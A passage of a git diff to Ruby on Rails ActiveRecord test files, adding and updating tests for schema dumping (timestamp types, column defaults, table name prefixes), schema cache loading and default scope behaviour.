+    ActiveRecord::Base.establish_connection(:arunit2) unless in_memory_db?
+    original, $stdout = $stdout, StringIO.new
+    ActiveRecord::Base.table_name_prefix = "foo$"
+    ActiveRecord::Base.table_name_suffix = "$bar"
+
+    migration = CreateCatMigration.new
+    migration.migrate(:up)
+
+    output = dump_table_schema("foo$cat_owners$bar", "foo$cat$bar")
+
+    assert_match %r{create_table "cat_owners"}, output
+    assert_match %r{create_table "cats"}, output
+    assert_match %r{t\.index \["name"\], name: "index_foo\$cats\$bar_on_name"}, output
+    assert_no_match %r{create_table "foo\$.+\$bar"}, output
+    assert_no_match %r{add_index "foo\$.+\$bar"}, output
+    assert_no_match %r{create_table "schema_migrations"}, output
+    assert_no_match %r{create_table "ar_internal_metadata"}, output
+
+    if ActiveRecord::Base.lease_connection.supports_foreign_keys?
+      assert_match %r{add_foreign_key "cats", "cat_owners", column: "owner_id"}, output
+      assert_no_match %r{add_foreign_key "foo\$.+\$bar"}, output
+      assert_no_match %r{add_foreign_key "[^"]+", "foo\$.+\$bar"}, output
+    end
+  ensure
+    migration.migrate(:down)
+
+    ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ""
+    $stdout = original
+    ActiveRecord::Base.establish_connection(:arunit)
   end
 
   def test_schema_dump_with_table_name_prefix_and_ignoring_tables
     original, $stdout = $stdout, StringIO.new
+    ActiveRecord::Base.establish_connection(:arunit2) unless in_memory_db?
 
     create_cat_migration = Class.new(ActiveRecord::Migration::Current) do
       def change
@@ -404,16 +615,321 @@ def change
     migration.migrate(:up)
 
     stream = StringIO.new
-    output = ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream).string
+    output = ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection_pool, stream).string
 
     assert_match %r{create_table "omg_cats"}, output
-    refute_match %r{create_table "cats"}, output
+    assert_no_match %r{create_table "cats"}, output
   ensure
     migration.migrate(:down)
     ActiveRecord::Base.table_name_prefix = original_table_name_prefix
     ActiveRecord::SchemaDumper.ignore_tables = original_schema_dumper_ignore_tables
 
     $stdout = original
+    ActiveRecord::Base.establish_connection(:arunit)
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_schema_dump_with_correct_timestamp_types_via_create_table_and_t_column
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration::Current) do
+        def up
+          create_table("timestamps") do |t|
+            t.datetime :this_should_remain_datetime
+            t.timestamp :this_is_an_alias_of_datetime
+            t.column :without_time_zone, :timestamp
+            t.column :with_time_zone, :timestamptz
+          end
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "this_should_remain_datetime"')
+      assert output.include?('t.datetime "this_is_an_alias_of_datetime"')
+      assert output.include?('t.datetime "without_time_zone"')
+      assert output.include?('t.timestamptz "with_time_zone"')
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_timestamptz_datetime_format
+      migration, original, $stdout = nil, $stdout, StringIO.new
+
+      with_postgresql_datetime_type(:timestamptz) do
+        migration = Class.new(ActiveRecord::Migration::Current) do
+          def up
+            create_table("timestamps") do |t|
+              t.datetime :this_should_remain_datetime
+              t.timestamptz :this_is_an_alias_of_datetime
+              t.column :without_time_zone, :timestamp
+              t.column :with_time_zone, :timestamptz
+            end
+          end
+          def down
+            drop_table("timestamps")
+          end
+        end
+        migration.migrate(:up)
+
+        output = dump_table_schema("timestamps")
+        assert output.include?('t.datetime "this_should_remain_datetime"')
+        assert output.include?('t.datetime "this_is_an_alias_of_datetime"')
+        assert output.include?('t.timestamp "without_time_zone"')
+        assert output.include?('t.datetime "with_time_zone"')
+      end
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_timestamps_schema_dump_before_rails_7
+      migration, original, $stdout = nil, $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration[6.1]) do
+        def up
+          create_table("timestamps") do |t|
+            t.datetime :this_should_remain_datetime
+            t.timestamp :this_is_an_alias_of_datetime
+            t.column :this_is_also_an_alias_of_datetime, :timestamp
+          end
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "this_should_remain_datetime"')
+      assert output.include?('t.datetime "this_is_an_alias_of_datetime"')
+      assert output.include?('t.datetime "this_is_also_an_alias_of_datetime"')
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_timestamps_schema_dump_before_rails_7_with_timestamptz_setting
+      migration, original, $stdout = nil, $stdout, StringIO.new
+
+      with_postgresql_datetime_type(:timestamptz) do
+        migration = Class.new(ActiveRecord::Migration[6.1]) do
+          def up
+            create_table("timestamps") do |t|
+              t.datetime :this_should_change_to_timestamp
+              t.timestamp :this_should_stay_as_timestamp
+              t.column :this_should_also_stay_as_timestamp, :timestamp
+            end
+          end
+          def down
+            drop_table("timestamps")
+          end
+        end
+        migration.migrate(:up)
+
+        output = dump_table_schema("timestamps")
+        # Normally we'd write `t.datetime` here. But because you've changed the `datetime_type`
+        # to something else, `t.datetime` now means `:timestamptz`. To ensure that old columns
+        # are still created as a `:timestamp` we need to change what is written to the schema dump.
+        #
+        # Typically in Rails we handle this through Migration versioning (`ActiveRecord::Migration::Compatibility`)
+        # but that doesn't work here because the schema dumper is not aware of which migration
+        # a column was added in.
+        assert output.include?('t.timestamp "this_should_change_to_timestamp"')
+        assert output.include?('t.timestamp "this_should_stay_as_timestamp"')
+        assert output.include?('t.timestamp "this_should_also_stay_as_timestamp"')
+      end
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_when_changing_datetime_type_for_an_existing_app
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration::Current) do
+        def up
+          create_table("timestamps") do |t|
+            t.datetime :default_format
+            t.column :without_time_zone, :timestamp
+            t.column :with_time_zone, :timestamptz
+          end
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "default_format"')
+      assert output.include?('t.datetime "without_time_zone"')
+      assert output.include?('t.timestamptz "with_time_zone"')
+
+      datetime_type_was = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type
+      ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = :timestamptz
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.timestamp "default_format"')
+      assert output.include?('t.timestamp "without_time_zone"')
+      assert output.include?('t.datetime "with_time_zone"')
+    ensure
+      ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.datetime_type = datetime_type_was
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_correct_timestamp_types_via_create_table_and_t_timestamptz
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration::Current) do
+        def up
+          create_table("timestamps") do |t|
+            t.datetime :default_format
+            t.datetime :without_time_zone
+            t.timestamp :also_without_time_zone
+            t.timestamptz :with_time_zone
+          end
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "default_format"')
+      assert output.include?('t.datetime "without_time_zone"')
+      assert output.include?('t.datetime "also_without_time_zone"')
+      assert output.include?('t.timestamptz "with_time_zone"')
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_correct_timestamp_types_via_add_column
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration::Current) do
+        def up
+          create_table("timestamps")
+
+          add_column :timestamps, :default_format, :datetime
+          add_column :timestamps, :without_time_zone, :datetime
+          add_column :timestamps, :also_without_time_zone, :timestamp
+          add_column :timestamps, :with_time_zone, :timestamptz
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "default_format"')
+      assert output.include?('t.datetime "without_time_zone"')
+      assert output.include?('t.datetime "also_without_time_zone"')
+      assert output.include?('t.timestamptz "with_time_zone"')
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_correct_timestamp_types_via_add_column_before_rails_7
+      original, $stdout = $stdout, StringIO.new
+
+      migration = Class.new(ActiveRecord::Migration[6.1]) do
+        def up
+          create_table("timestamps")
+
+          add_column :timestamps, :default_format, :datetime
+          add_column :timestamps, :without_time_zone, :datetime
+          add_column :timestamps, :also_without_time_zone, :timestamp
+        end
+        def down
+          drop_table("timestamps")
+        end
+      end
+      migration.migrate(:up)
+
+      output = dump_table_schema("timestamps")
+      assert output.include?('t.datetime "default_format"')
+      assert output.include?('t.datetime "without_time_zone"')
+      assert output.include?('t.datetime "also_without_time_zone"')
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_correct_timestamp_types_via_add_column_before_rails_7_with_timestamptz_setting
+      migration, original, $stdout = nil, $stdout, StringIO.new
+
+      with_postgresql_datetime_type(:timestamptz) do
+        migration = Class.new(ActiveRecord::Migration[6.1]) do
+          def up
+            create_table("timestamps")
+
+            add_column :timestamps, :this_should_change_to_timestamp, :datetime
+            add_column :timestamps, :this_should_stay_as_timestamp, :timestamp
+          end
+          def down
+            drop_table("timestamps")
+          end
+        end
+        migration.migrate(:up)
+
+        output = dump_table_schema("timestamps")
+        # Normally we'd write `t.datetime` here. But because you've changed the `datetime_type`
+        # to something else, `t.datetime` now means `:timestamptz`. To ensure that old columns
+        # are still created as a `:timestamp` we need to change what is written to the schema dump.
+        #
+        # Typically in Rails we handle this through Migration versioning (`ActiveRecord::Migration::Compatibility`)
+        # but that doesn't work here because the schema dumper is not aware of which migration
+        # a column was added in.
+        assert output.include?('t.timestamp "this_should_change_to_timestamp"')
+        assert output.include?('t.timestamp "this_should_stay_as_timestamp"')
+      end
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
+
+    def test_schema_dump_with_correct_timestamp_types_via_add_column_with_type_as_string
+      migration, original, $stdout = nil, $stdout, StringIO.new
+
+      with_postgresql_datetime_type(:timestamptz) do
+        migration = Class.new(ActiveRecord::Migration[6.1]) do
+          def up
+            create_table("timestamps")
+
+            add_column :timestamps, :this_should_change_to_timestamp, "datetime"
+            add_column :timestamps, :this_should_stay_as_timestamp, "timestamp"
+          end
+          def down
+            drop_table("timestamps")
+          end
+        end
+        migration.migrate(:up)
+
+        output = dump_table_schema("timestamps")
+        # Normally we'd write `t.datetime` here. But because you've changed the `datetime_type`
+        # to something else, `t.datetime` now means `:timestamptz`. To ensure that old columns
+        # are still created as a `:timestamp` we need to change what is written to the schema dump.
+        #
+        # Typically in Rails we handle this through Migration versioning (`ActiveRecord::Migration::Compatibility`)
+        # but that doesn't work here because the schema dumper is not aware of which migration
+        # a column was added in.
+        assert output.include?('t.timestamp "this_should_change_to_timestamp"')
+        assert output.include?('t.timestamp "this_should_stay_as_timestamp"')
+      end
+    ensure
+      migration.migrate(:down)
+      $stdout = original
+    end
   end
 end
 
@@ -421,40 +937,70 @@ class SchemaDumperDefaultsTest < ActiveRecord::TestCase
   include SchemaDumpingHelper
 
   setup do
-    @connection = ActiveRecord::Base.connection
-    @connection.create_table :defaults, force: true do |t|
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table :dump_defaults, force: true do |t|
       t.string   :string_with_default,   default: "Hello!"
       t.date     :date_with_default,     default: "2014-06-05"
       t.datetime :datetime_with_default, default: "2014-06-05 07:17:04"
       t.time     :time_with_default,     default: "07:17:04"
+      t.decimal  :decimal_with_default,  default: "1234567890.0123456789", precision: 20, scale: 10
+
+      if supports_text_column_with_default?
+        t.text :text_with_default, default: "John' Doe"
+
+        if current_adapter?(:PostgreSQLAdapter)
+          t.text :uuid, default: -> { "gen_random_uuid()" }
+        else
+          t.text :uuid, default: -> { "uuid()" }
+        end
+      end
     end
 
     if current_adapter?(:PostgreSQLAdapter)
       @connection.create_table :infinity_defaults, force: true do |t|
         t.float    :float_with_inf_default,    default: Float::INFINITY
         t.float    :float_with_nan_default,    default: Float::NAN
+        t.datetime :beginning_of_time,         default: "-infinity"
+        t.datetime :end_of_time,               default: "infinity"
+        t.date :date_with_neg_inf_default,     default: -::Float::INFINITY
+        t.date :date_with_pos_inf_default,     default: ::Float::INFINITY
       end
     end
   end
 
   teardown do
-    return unless @connection
-    @connection.drop_table "defaults", if_exists: true
+    @connection.drop_table "dump_defaults", if_exists: true
   end
 
   def test_schema_dump_defaults_with_universally_supported_types
-    output = dump_table_schema("defaults")
+    output = dump_table_schema("dump_defaults")
 
     assert_match %r{t\.string\s+"string_with_default",.*?default: "Hello!"}, output
-    assert_match %r{t\.date\s+"date_with_default",\s+default: '2014-06-05'}, output
-    assert_match %r{t\.datetime\s+"datetime_with_default",\s+default: '2014-06-05 07:17:04'}, output
-    assert_match %r{t\.time\s+"time_with_default",\s+default: '2000-01-01 07:17:04'}, output
+    assert_match %r{t\.date\s+"date_with_default",\s+default: "2014-06-05"}, output
+    assert_match %r{t\.datetime\s+"datetime_with_default",\s+default: "2014-06-05 07:17:04"}, output
+    assert_match %r{t\.time\s+"time_with_default",\s+default: "2000-01-01 07:17:04"}, output
+    assert_match %r{t\.decimal\s+"decimal_with_default",\s+precision: 20,\s+scale: 10,\s+default: "1234567890.0123456789"}, output
   end
 
-  def test_schema_dump_with_float_column_infinity_default
-    skip unless current_adapter?(:PostgreSQLAdapter)
+  def test_schema_dump_with_text_column
+    output = dump_table_schema("dump_defaults")
+
+    assert_match %r{t\.text\s+"text_with_default",.*?default: "John' Doe"}, output
+
+    if current_adapter?(:PostgreSQLAdapter)
+      assert_match %r{t\.text\s+"uuid",.*?default: -> \{ "gen_random_uuid\(\)" \}}, output
+    else
+      assert_match %r{t\.text\s+"uuid",.*?default: -> \{ "uuid\(\)" \}}, output
+    end
+  end if supports_text_column_with_default?
+
+  def test_schema_dump_with_column_infinity_default
     output = dump_table_schema("infinity_defaults")
     assert_match %r{t\.float\s+"float_with_inf_default",\s+default: ::Float::INFINITY}, output
     assert_match %r{t\.float\s+"float_with_nan_default",\s+default: ::Float::NAN}, output
-  end
+    assert_match %r{t\.datetime\s+"beginning_of_time",\s+default: -::Float::INFINITY}, output
+    assert_match %r{t\.datetime\s+"end_of_time",\s+default: ::Float::INFINITY}, output
+    assert_match %r{t\.date\s+"date_with_neg_inf_default",\s+default: -::Float::INFINITY}, output
+    assert_match %r{t\.date\s+"date_with_pos_inf_default",\s+default: ::Float::INFINITY}, output
+  end if current_adapter?(:PostgreSQLAdapter)
 end
diff --git a/activerecord/test/cases/schema_loading_test.rb b/activerecord/test/cases/schema_loading_test.rb
index 362370ac61b02..534304fe09a3c 100644
--- a/activerecord/test/cases/schema_loading_test.rb
+++ b/activerecord/test/cases/schema_loading_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module SchemaLoadCounter
@@ -40,8 +42,37 @@ def test_model_with_changed_custom_lock_is_loaded_twice
     assert_equal 2, klass.load_schema_calls
   end
 
-  private
+  def test_schema_loading_doesnt_query_when_schema_cache_is_loaded
+    with_temporary_connection_pool do
+      if in_memory_db?
+        # Separate connections to an in-memory database create an entirely new database,
+        # with an empty schema etc, so we just stub out this schema on the fly.
+        ActiveRecord::Base.connection_pool.with_connection do |connection|
+          connection.create_table :tasks do |t|
+            t.datetime :starting
+            t.datetime :ending
+          end
+        end
+      end
+
+      klass = define_model do |c|
+        c.table_name = :tasks
+      end
+
+      klass.connection_pool.schema_cache.load!
+      klass.connection_pool.schema_cache.add("tasks")
+      klass.connection_pool.disconnect!
+      klass.send(:reload_schema_from_cache)
 
+
+      assert_no_queries(include_schema: true) do
+        klass.load_schema
+      end
+      assert_equal 1, klass.load_schema_calls
+    end
+  end
+
+  private
     def define_model
       Class.new(ActiveRecord::Base) do
         include SchemaLoadCounter
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index 3a04f4bf7d89d..c849743ae4e94 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -1,10 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/comment"
 require "models/developer"
+require "models/project"
 require "models/computer"
-require "models/vehicle"
 require "models/cat"
+require "models/mentor"
 require "concurrent/atomic/cyclic_barrier"
 
 class DefaultScopingTest < ActiveRecord::TestCase
@@ -59,17 +62,6 @@ def test_default_scope_with_conditions_hash
     assert_equal "Jamis", DeveloperCalledJamis.create!.name
   end
 
-  unless in_memory_db?
-    def test_default_scoping_with_threads
-      2.times do
-        Thread.new {
-          assert_includes DeveloperOrderedBySalary.all.to_sql, "salary DESC"
-          DeveloperOrderedBySalary.connection.close
-        }.join
-      end
-    end
-  end
-
   def test_default_scope_with_inheritance
     wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
     assert_equal "Jamis", wheres["name"]
@@ -88,6 +80,174 @@ def test_default_scope_with_multiple_calls
     assert_equal 50000,   wheres["salary"]
   end
 
+  def test_combined_default_scope_without_and_with_all_queries_works
+    Mentor.create!
+    klass = DeveloperWithIncludedMentorDefaultScopeNotAllQueriesAndDefaultScopeFirmWithAllQueries
+
+    create_sql = capture_sql { klass.create!(name: "Steve") }.second
+
+    assert_match(/mentor_id/, create_sql)
+    assert_match(/firm_id/, create_sql)
+
+    developer = klass.find_by!(name: "Steve")
+
+    update_sql = capture_sql { developer.update(name: "Stephen") }.second
+
+    assert_no_match(/mentor_id/, update_sql)
+    assert_match(/firm_id/, update_sql)
+  end
+
+  def test_default_scope_runs_on_create
+    Mentor.create!
+    create_sql = capture_sql { DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen") }.second
+
+    assert_match(/mentor_id/, create_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_create
+    Mentor.create!
+    create_sql = capture_sql { DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen") }.second
+
+    assert_match(/mentor_id/, create_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_create
+    create_sql = capture_sql { DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita") }.first
+
+    assert_no_match(/AND$/, create_sql)
+  end
+
+  def test_default_scope_runs_on_select
+    Mentor.create!
+    DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen")
+    select_sql = capture_sql { DeveloperwithDefaultMentorScopeNot.find_by(name: "Eileen") }.first
+
+    assert_match(/mentor_id/, select_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_select
+    Mentor.create!
+    DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen")
+    select_sql = capture_sql { DeveloperWithDefaultMentorScopeAllQueries.find_by(name: "Eileen") }.first
+
+    assert_match(/mentor_id/, select_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_select
+    DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita")
+    select_sql = capture_sql { DeveloperWithDefaultNilableFirmScopeAllQueries.find_by(name: "Nikita") }.first
+
+    assert_no_match(/AND$/, select_sql)
+  end
+
+  def test_default_scope_doesnt_run_on_update
+    Mentor.create!
+    dev = DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen")
+    update_sql = capture_sql { dev.update!(name: "Not Eileen") }.first
+
+    assert_no_match(/mentor_id/, update_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_update
+    Mentor.create!
+    dev = DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen")
+    update_sql = capture_sql { dev.update!(name: "Not Eileen") }.second
+
+    assert_match(/mentor_id/, update_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_update
+    dev = DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita")
+    update_sql = capture_sql { dev.update!(name: "Not Nikita") }.first
+
+    assert_no_match(/AND$/, update_sql)
+  end
+
+  def test_default_scope_doesnt_run_on_update_columns
+    Mentor.create!
+    dev = DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen")
+    update_sql = capture_sql { dev.update_columns(name: "Not Eileen") }.first
+
+    assert_no_match(/mentor_id/, update_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_update_columns
+    Mentor.create!
+    dev = DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen")
+    update_sql = capture_sql { dev.update_columns(name: "Not Eileen") }.first
+
+    assert_match(/mentor_id/, update_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_update_columns
+    dev = DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita")
+    update_sql = capture_sql { dev.update_columns(name: "Not Nikita") }.first
+
+    assert_no_match(/AND$/, update_sql)
+  end
+
+  def test_default_scope_doesnt_run_on_destroy
+    Mentor.create!
+    dev = DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen")
+    destroy_sql = capture_sql { dev.destroy }.first
+
+    assert_no_match(/mentor_id/, destroy_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_destroy
+    Mentor.create!
+    dev = DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen")
+    destroy_sql = capture_sql { dev.destroy }.second
+
+    assert_match(/mentor_id/, destroy_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_destroy
+    dev = DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita")
+    destroy_sql = capture_sql { dev.destroy }.first
+
+    assert_no_match(/AND$/, destroy_sql)
+  end
+
+  def test_default_scope_doesnt_run_on_reload
+    Mentor.create!
+    dev = DeveloperwithDefaultMentorScopeNot.create!(name: "Eileen")
+    reload_sql = capture_sql { dev.reload }.first
+
+    assert_no_match(/mentor_id/, reload_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_reload
+    Mentor.create!
+    dev = DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen")
+    reload_sql = capture_sql { dev.reload }.first
+
+    assert_match(/mentor_id/, reload_sql)
+  end
+
+  def test_default_scope_with_all_queries_runs_on_reload_but_default_scope_without_all_queries_does_not
+    Mentor.create!
+    dev = DeveloperWithIncludedMentorDefaultScopeNotAllQueriesAndDefaultScopeFirmWithAllQueries.create!(name: "Eileen")
+    reload_sql = capture_sql { dev.reload }.first
+
+    assert_no_match(/mentor_id/, reload_sql)
+    assert_match(/firm_id/, reload_sql)
+  end
+
+  def test_nilable_default_scope_with_all_queries_runs_on_reload
+    dev = DeveloperWithDefaultNilableFirmScopeAllQueries.create!(name: "Nikita")
+    reload_sql = capture_sql { dev.reload }.first
+
+    assert_no_match(/AND$/, reload_sql)
+  end
+
+  def test_default_scope_with_all_queries_doesnt_run_on_destroy_when_unscoped
+    dev = DeveloperWithDefaultMentorScopeAllQueries.create!(name: "Eileen", mentor_id: 2)
+    reload_sql = capture_sql { dev.reload({ unscoped: true }) }.first
+
+    assert_no_match(/mentor_id/, reload_sql)
+  end
+
   def test_scope_overwrites_default
     expected = Developer.all.merge!(order: "salary DESC, name DESC").to_a.collect(&:name)
     received = DeveloperOrderedBySalary.by_name.to_a.collect(&:name)
@@ -129,80 +289,80 @@ def test_unscope_after_reordering_and_combining
   def test_unscope_with_where_attributes
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.where(name: "David").unscope(where: :name).collect(&:name)
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
 
     expected_2 = Developer.order("salary DESC").collect(&:name)
     received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({ where: :name }, :select).collect(&:name)
-    assert_equal expected_2, received_2
+    assert_equal expected_2.sort, received_2.sort
 
     expected_3 = Developer.order("salary DESC").collect(&:name)
     received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
-    assert_equal expected_3, received_3
+    assert_equal expected_3.sort, received_3.sort
 
     expected_4 = Developer.order("salary DESC").collect(&:name)
     received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
-    assert_equal expected_4, received_4
+    assert_equal expected_4.sort, received_4.sort
 
     expected_5 = Developer.order("salary DESC").collect(&:name)
     received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
-    assert_equal expected_5, received_5
+    assert_equal expected_5.sort, received_5.sort
 
     expected_6 = Developer.order("salary DESC").collect(&:name)
     received_6 = DeveloperOrderedBySalary.where(Developer.arel_table["name"].eq("David")).unscope(where: :name).collect(&:name)
-    assert_equal expected_6, received_6
+    assert_equal expected_6.sort, received_6.sort
 
     expected_7 = Developer.order("salary DESC").collect(&:name)
     received_7 = DeveloperOrderedBySalary.where(Developer.arel_table[:name].eq("David")).unscope(where: :name).collect(&:name)
-    assert_equal expected_7, received_7
+    assert_equal expected_7.sort, received_7.sort
   end
 
   def test_unscope_comparison_where_clauses
     # unscoped for WHERE (`developers`.`id` <= 2)
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.where(id: -Float::INFINITY..2).unscope(where: :id).collect { |dev| dev.name }
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
 
     # unscoped for WHERE (`developers`.`id` < 2)
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.where(id: -Float::INFINITY...2).unscope(where: :id).collect { |dev| dev.name }
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
   end
 
   def test_unscope_multiple_where_clauses
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.where(name: "Jamis").where(id: 1).unscope(where: [:name, :id]).collect(&:name)
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
   end
 
   def test_unscope_string_where_clauses_involved
-    dev_relation = Developer.order("salary DESC").where("created_at > ?", 1.year.ago)
+    dev_relation = Developer.order("salary DESC").where("legacy_created_at > ?", 1.year.ago)
     expected = dev_relation.collect(&:name)
 
-    dev_ordered_relation = DeveloperOrderedBySalary.where(name: "Jamis").where("created_at > ?", 1.year.ago)
+    dev_ordered_relation = DeveloperOrderedBySalary.where(name: "Jamis").where("legacy_created_at > ?", 1.year.ago)
     received = dev_ordered_relation.unscope(where: [:name]).collect(&:name)
 
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
   end
 
   def test_unscope_with_grouping_attributes
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect(&:name)
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
 
     expected_2 = Developer.order("salary DESC").collect(&:name)
     received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect(&:name)
-    assert_equal expected_2, received_2
+    assert_equal expected_2.sort, received_2.sort
   end
 
   def test_unscope_with_limit_in_query
     expected = Developer.order("salary DESC").collect(&:name)
     received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect(&:name)
-    assert_equal expected, received
+    assert_equal expected.sort, received.sort
   end
 
   def test_order_to_unscope_reordering
     scope = DeveloperOrderedBySalary.order("salary DESC, name ASC").reverse_order.unscope(:order)
-    assert !/order/i.match?(scope.to_sql)
+    assert_no_match(/order/i, scope.to_sql)
   end
 
   def test_unscope_reverse_order
@@ -233,12 +393,38 @@ def test_unscope_joins_and_select_on_developers_projects
     assert_equal expected, received
   end
 
+  def test_unscope_left_outer_joins
+    expected = Developer.all.collect(&:name)
+    received = Developer.left_outer_joins(:projects).select(:id).unscope(:left_outer_joins, :select).collect(&:name)
+    assert_equal expected, received
+  end
+
+  def test_unscope_left_joins
+    expected = Developer.all.collect(&:name)
+    received = Developer.left_joins(:projects).select(:id).unscope(:left_joins, :select).collect(&:name)
+    assert_equal expected, received
+  end
+
   def test_unscope_includes
     expected = Developer.all.collect(&:name)
     received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect(&:name)
     assert_equal expected, received
   end
 
+  def test_unscope_eager_load
+    expected = Developer.all.collect(&:name)
+    received = Developer.eager_load(:projects).select(:id).unscope(:eager_load, :select)
+    assert_equal expected, received.collect(&:name)
+    assert_equal false, received.first.projects.loaded?
+  end
+
+  def test_unscope_preloads
+    expected = Developer.all.collect(&:name)
+    received = Developer.preload(:projects).select(:id).unscope(:preload, :select)
+    assert_equal expected, received.collect(&:name)
+    assert_equal false, received.first.projects.loaded?
+  end
+
   def test_unscope_having
     expected = DeveloperOrderedBySalary.all.collect(&:name)
     received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect(&:name)
@@ -257,7 +443,7 @@ def test_unscope_and_scope
 
   def test_unscope_errors_with_invalid_value
     assert_raises(ArgumentError) do
-      Developer.includes(:projects).where(name: "Jamis").unscope(:stupidly_incorrect_value)
+      Developer.includes(:projects).where(name: "Jamis").unscope(:incorrect_value)
     end
 
     assert_raises(ArgumentError) do
@@ -299,8 +485,8 @@ def test_unscope_errors_with_non_symbol_or_hash_arguments
 
   def test_unscope_merging
     merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
-    assert merged.where_clause.empty?
-    assert !merged.where(name: "Jon").where_clause.empty?
+    assert_empty merged.where_clause
+    assert_not_empty merged.where(name: "Jon").where_clause
   end
 
   def test_order_in_default_scope_should_not_prevail
@@ -343,7 +529,7 @@ def test_scope_composed_by_limit_and_then_offset_is_equal_to_scope_composed_by_o
 
   def test_create_with_merge
     aaron = PoorDeveloperCalledJamis.create_with(name: "foo", salary: 20).merge(
